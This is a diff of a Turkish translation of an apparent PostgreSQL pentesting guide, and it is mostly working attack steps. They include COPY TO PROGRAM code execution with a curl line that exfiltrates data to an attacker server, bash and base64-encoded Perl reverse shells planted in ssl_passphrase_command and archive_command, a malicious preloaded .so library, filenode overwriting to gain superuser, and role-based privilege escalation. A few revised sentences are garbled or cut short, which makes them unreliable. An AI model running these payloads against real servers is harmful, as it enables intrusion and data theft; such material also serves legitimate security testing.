daha fazla rol oluşturabilir | -| rolcreatedb | Rol, veritabanları oluşturabilir | +| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır | +| rolcreaterole | Rol daha fazla rol oluşturabilir | +| rolcreatedb | Rol veritabanları oluşturabilir | | rolcanlogin | Rol oturum açabilir. Yani, bu rol başlangıç oturum yetkilendirme kimliği olarak verilebilir | -| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. | +| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. | | rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. | | rolpassword | Parola değil (`********` olarak her zaman okunur) | | rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null | -| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. | +| rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. | | rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar | | oid | Rol kimliği | @@ -272,7 +281,7 @@ GRANT pg_read_server_files TO username; ``` ### Basit Dosya Yazma -Sadece **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini kullanarak dosya yazabilir. +Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini kullanarak dosya yazabilirler. {% code overflow="wrap" %} ```sql @@ -285,9 +294,15 @@ Unutmayın ki eğer süper kullanıcı değilseniz ancak **`CREATEROLE`** izinle ```sql GRANT pg_write_server_files TO username; ``` -### **Binary dosyaların yüklenmesi** +[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) +{% endhint %} -Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktadır:** +COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **bir satırlık bir komut göndermeniz gerekecektir**.\ +Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.** + +### **İkili dosyaların yüklenmesi** + +Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadır:** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} [big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md) @@ -295,36 +310,36 @@ Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktad ## -**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın! +**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden katılın ve **100.000 $'a kadar ödüller kazanmaya** başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} ### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi -PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). +PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). Gerekli adımlar: -1. PostgreSQL veri dizinini alın +1. PostgreSQL veri dizinini alın ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolunuzu brute-force deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. -2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın +**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir. +2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` -Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır. -3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin +Bu sorgu, `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır. +3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` -4. Hedef tabloyla ilişkili veri türünü alın +4. Hedef tabloyla ilişkili veri türünü alın ```sql SELECT @@ -345,20 +360,20 @@ JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` -5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)'ü kullanarak filenode'u düzenleyin; tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın. +5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)'ü kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif) -6. Düzenlenmiş filenode'u `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diske orijinal dosyayı üzerine yazın +6. Düzenlenmiş dosya düğümünü `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diske orijinal dosyayı üzerine yazın ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` -7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin +7. _(İsteğe bağlı olarak)_ Pahalı bir SQL sorgusu çalıştırarak bellek içi tablo önbelleğini temizleyin ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) @@ -371,11 +386,11 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ### **Programa RCE** -[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle: +[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubu üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` -Örnek çalıştırmak için: +Örnek yürütmek için: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; @@ -396,7 +411,8 @@ GRANT pg_execute_server_program TO username; [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole) {% endhint %} -Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilmesine rağmen, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı. +Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın.\ +Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı. ### PostgreSQL Dilleri ile RCE @@ -406,7 +422,7 @@ Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` mod ### PostgreSQL uzantıları ile RCE -Önceki yazıdan **nasıl ikili dosyalar yükleneceğini öğrendikten sonra** **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz. +Önceki yazıdan **nasıl ikili dosyalar yükleneceğini** öğrendikten sonra **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz. {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md) @@ -415,68 +431,68 @@ Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` mod ### PostgreSQL yapılandırma dosyası RCE {% hint style="info" %} -Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. +Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir. {% endhint %} -PostgreSQL'nin **yapılandırma dosyası**, **veritabanını çalıştıran** **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sistemine yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** +PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.** ![](<../.gitbook/assets/image (322).png>) -#### **ssl\_passphrase\_command ile RCE** +#### **ssl\_passphrase\_command** ile RCE -Bu tekniğe ilişkin daha fazla bilgi [burada bulunmaktadır](https://pulsesecurity.co.nz/articles/postgres-sqli). +Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://pulsesecurity.co.nz/articles/postgres-sqli) ulaşabilirsiniz. Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır: -* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu +* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir * `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**. * `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**. -Bu durumda, bir saldırganın yapması gerekenler: +Bu nedenle, bir saldırganın yapması gerekenler: -1. Sunucudan **özel anahtarı** çıkartın +1. Sunucudan **özel anahtarı** dökün 2. İndirilen özel anahtarı **şifreleyin**: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Üzerine yazın** 4. Mevcut postgresql **yapılandırmasını** dökün -5. **Belirtilen özellikler yapılandırmasıyla** yapılandırmayı **üzerine yazın**: +5. Bahsedilen özellikler yapılandırmasıyla **yapılandırmayı üzerine yazın**: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()`'yi çalıştırın -Bu test sırasında fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalıklara sahip olması**, **root tarafından sahip olunması** ve **ssl-cert veya postgres grubuna ait olması** (bu nedenle postgres kullanıcısının okuyabilmesi), ve _/var/lib/postgresql/12/main_ dizininde bulunması durumunda çalışacağıdır. +Bu testi yaparken fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalığına** sahip olması durumunda çalışacağıdır, **root tarafından sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait olduğu (bu nedenle postgres kullanıcısının okuyabileceği) ve _/var/lib/postgresql/12/main_ dizininde bulunduğudur. -#### **archive\_command ile RCE** +#### **archive\_command** ile RCE -Bu yapılandırma ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz.** +Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) ulaşabilirsiniz. -Saldırılabilir bir diğer özellik, yapılandırma dosyasında `archive_command` olarak belirtilmiştir. +Saldırıya açık başka bir özellik, `archive_command` olarak adlandırılan yapılandırma dosyasındadır. -Bu işlem için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz. +Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz. Genel adımlar şunlardır: 1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')` -2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters shell için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` +2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()` -4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: `SELECT pg_switch_wal()` veya bazı Postgres sürümleri için `SELECT pg_switch_xlog()` +4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_xlog()` için `SELECT pg_switch_wal()` veya #### **preload kütüphaneleri ile RCE** -Bu tekniğe ilişkin daha fazla bilgi [burada bulunmaktadır](https://adeadfed.com/posts/postgresql-select-only-rce/). +Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) ulaşabilirsiniz. -Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanmaktadır: +Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır: * `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler. * `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi. -`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphanemizi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız. +`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız. Saldırı adımları şunlardır: 1. Orijinal `postgresql.conf` dosyasını indirin 2. `dynamic_library_path` değerine `/tmp/` dizinini dahil edin, örneğin `dynamic_library_path = '/tmp:$libdir'` -3. Zararlı kütüphane adını `session_preload_libraries` değerine dahil edin, örneğin `session_preload_libraries = 'payload.so'` +3. `session_preload_libraries` değerine zararlı kütüphane adını dahil edin, örneğin `session_preload_libraries = 'payload.so'` 4. `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü kontrol edin 5. Doğru PostgreSQL geliştirme paketi ile zararlı kütüphane kodunu derleyin Örnek kod: @@ -526,17 +542,17 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so ``` 6. Adımlar 2-3'te oluşturulan zararlı `postgresql.conf` dosyasını indirin ve orijinalini üzerine yazın 7. Adımda 5'te oluşturulan `payload.so`'yu `/tmp` dizinine yükleyin -8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak yapılandırmayı yeniden yükleyin -9. Bir sonraki DB bağlantısında ters shell bağlantısını alacaksınız. +8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak +9. Bir sonraki DB bağlantısında ters kabuk bağlantısını alacaksınız. ## **Postgres Yetki Yükseltme** ### CREATEROLE Yetki Yükseltme -#### **Verme** +#### **Grant** -[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı** olmayan herhangi bir **role**'e **üyelik verme veya geri alma** yetkisine sahiptir._ +[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı** olmayan herhangi bir **role**'e **üyelik verip geri alabilir**._ -Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller**e (süper kullanıcı olmayan) erişim izni verebilirsiniz, bu da size dosyaları okuma ve yazma ile komutları çalıştırma seçeneği verebilir: +Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller**'e (süper kullanıcı olmayan) erişim izni verebilir ve bu da size dosya okuma & yazma ve komut yürütme seçeneği sunabilir: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -547,14 +563,14 @@ GRANT pg_write_server_files TO username; ``` #### Parolayı Değiştir -Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını değiştirebilirler**: +Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını da değiştirebilirler**: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### SUPERUSER'a Yükseltme -**Yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz: +**Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` @@ -572,13 +588,13 @@ host all all ::1/128 trust ### **ALTER TABLE ayrıcalığı** -[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl mümkün olduğu açıklanmaktadır. +[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın mümkün olduğu, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl yapılabileceği açıklanmaktadır. -**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak görünüşe göre GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği belirtilmektedir: +**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği anlaşılmaktadır:
-Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek mümkündür**, ardından kötü niyetli bir işlevle tabloyu ANALYZE etmek, çünkü işlevin sahibinin izinlerini kullanıyor olacak şekilde komutları yürütebilir. +Bu fikri, **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) komutlarının **bir indeks işlevine sahip bir tabloda** çalıştırıldığında, **işlevin** komutun bir parçası olarak **çağrıldığı ve tablonun sahibinin izinleriyle** çalıştığı gerçeğiyle birleştirerek düşünebiliriz. Bir fonksiyonla bir indeks oluşturmak ve bu tabloya sahip bir **süper kullanıcıya sahip izinler vermek** ve ardından sahibin izinlerini kullandığı için komutları yürütebilecek kötü niyetli bir fonksiyonla tabloyu ANALYZE etmek mümkündür. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -632,13 +648,13 @@ dbname=somedb', RETURNS (result TEXT); ``` {% hint style="warning" %} -Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini** unutmayın. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz: +Önceki sorgunun çalışması için **`dblink` fonksiyonunun var olması gerektiğini unutmayın**. Eğer yoksa aşağıdaki komutu kullanarak oluşturabilirsiniz: ```sql CREATE EXTENSION dblink; ``` {% endhint %} -Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak sorguları o kullanıcı olarak çalıştırabilirsiniz: +Eğer daha fazla ayrıcalığa sahip bir kullanıcının şifresine sahipseniz, ancak kullanıcının harici bir IP'den giriş yapmasına izin verilmiyorsa, aşağıdaki işlevi kullanarak o kullanıcı olarak sorguları yürütebilirsiniz: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser @@ -652,7 +668,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Güvenlik Tanımlayıcısı ile** özel tanımlı işlev -[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme gerçekleştirebildiler: +[**Bu yazıda**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesterlar, IBM tarafından sağlanan bir postgres örneğinde **bu işlevi buldukları için** içeride bir ayrıcalık yükseltme yapabildiler:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -673,9 +689,9 @@ PERFORM dblink_disconnect();
 …
 
-[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **GÜVENLİK TANIMLAYICISI** ile işlev, **onu sahip olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Enjeksiyonuna duyarlı** ise veya saldırgan tarafından kontrol edilen bazı **açıcalıklı eylemler gerçekleştiriyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**. +[**Belgelerde açıklandığı gibi**](https://www.postgresql.org/docs/current/sql-createfunction.html) **SECURITY DEFINER ile** bir işlev, **sahibi olan kullanıcının ayrıcalıklarıyla** yürütülür. Bu nedenle, işlev **SQL Injection'a duyarlı ise** veya **saldırgan tarafından kontrol edilen parametrelerle ayrıcalıklı işlemler yapıyorsa**, postgres içinde **ayrıcalıkları yükseltmek için kötüye kullanılabilir**. -Önceki kodun 4. satırında işlevin **GÜVENLİK TANIMLAYICISI** bayrağını görebilirsiniz. +Önceki kodun 4. satırında işlevin **SECURITY DEFINER** bayrağı olduğunu görebilirsiniz. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication @@ -685,10 +701,10 @@ Ve sonra **komutları çalıştır**:
-### PL/pgSQL ile Brute Force Yöntemi Kullanarak Parola Kırma +### PL/pgSQL ile Brute Force Geçişi -**PL/pgSQL**, SQL'e kıyasla daha fazla işlem kontrolü sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\ -**Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini kaba kuvvet uygulayabilirsiniz.** +**PL/pgSQL**, SQL'e kıyasla daha fazla prosedürel kontrol sunan **tam özellikli bir programlama dilidir**. Program mantığını geliştirmek için **döngüler** ve diğer **kontrol yapıları** kullanımını sağlar. Ayrıca, **SQL ifadeleri** ve **tetikleyiciler**, **PL/pgSQL dilini** kullanarak oluşturulan fonksiyonları çağırma yeteneğine sahiptir. Bu entegrasyon, veritabanı programlaması ve otomasyonuna daha kapsamlı ve esnek bir yaklaşım sağlar.\ +**Bu dilin kötüye kullanımıyla PostgreSQL'den kullanıcı kimlik bilgilerini brute force yapmasını isteyebilirsiniz.** {% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md) @@ -697,12 +713,12 @@ Ve sonra **komutları çalıştır**: ### Dahili PostgreSQL Tablolarını Üzerine Yazarak İstek Yükseltme {% hint style="info" %} -Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle kullanışlıdır. +Aşağıdaki istek yükseltme vektörü, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği sınırlı SQLi bağlamlarında özellikle kullanışlıdır. {% endhint %} Eğer **PostgreSQL sunucu dosyalarını okuyup yazabiliyorsanız**, PostgreSQL üzerindeki diskteki dosya düğümünü, dahili `pg_authid` tablosu ile ilişkilendirilmiş olanı üzerine yazarak **süper kullanıcı 